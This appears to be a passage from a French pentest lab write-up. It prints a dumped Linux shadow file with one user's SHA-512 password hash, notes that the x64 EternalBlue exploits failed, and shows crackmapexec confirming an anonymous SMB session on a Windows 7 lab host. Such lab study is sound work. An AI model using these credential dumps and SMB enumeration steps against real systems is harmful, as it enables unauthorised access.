systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::
mysql:!:17486:0:99999:7:::
sshd:*:17486:0:99999:7:::Windows
Les exploits x64 d’EternalBlue ne fonctionnent pas. Il faudrait un x86
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 192.168.100.9 -u '' -p ''
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing WINRM protocol database
[*] Initializing SMB protocol database
[*] Initializing FTP protocol database
[*] Initializing SSH protocol database
[*] Initializing RDP protocol database
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 192.168.100.9 445 IE8WIN7 [*] Windows 7 Enterprise 7601 Service Pack 1 (name:IE8WIN7) (domain:IE8WIN7) (signing:False) (SMBv1:True)
SMB 192.168.100.9 445 IE8WIN7 [+] IE8WIN7\:On a effectivement une session anonyme. Voyons ce qu’on peut faire en plus :
crackmapexec smb 192.168.100.9 --shares -u '' -p ''
SMB 192.168.100.9 445 IE8WIN7 [*] Windows 7 Enterprise 7601 Service Pack 1 (name:IE8WIN7) (domain:IE8WIN7) (signing:False) (SMBv1:True)
SMB 192.168.100.9 445 IE8WIN7 [+] IE8WIN7\:
SMB 192.168.100.9 445 IE8WIN7 [-] Error enumerating shares: STATUS_ACCESS_DENIEDOn ne dispose d’aucun droit utile.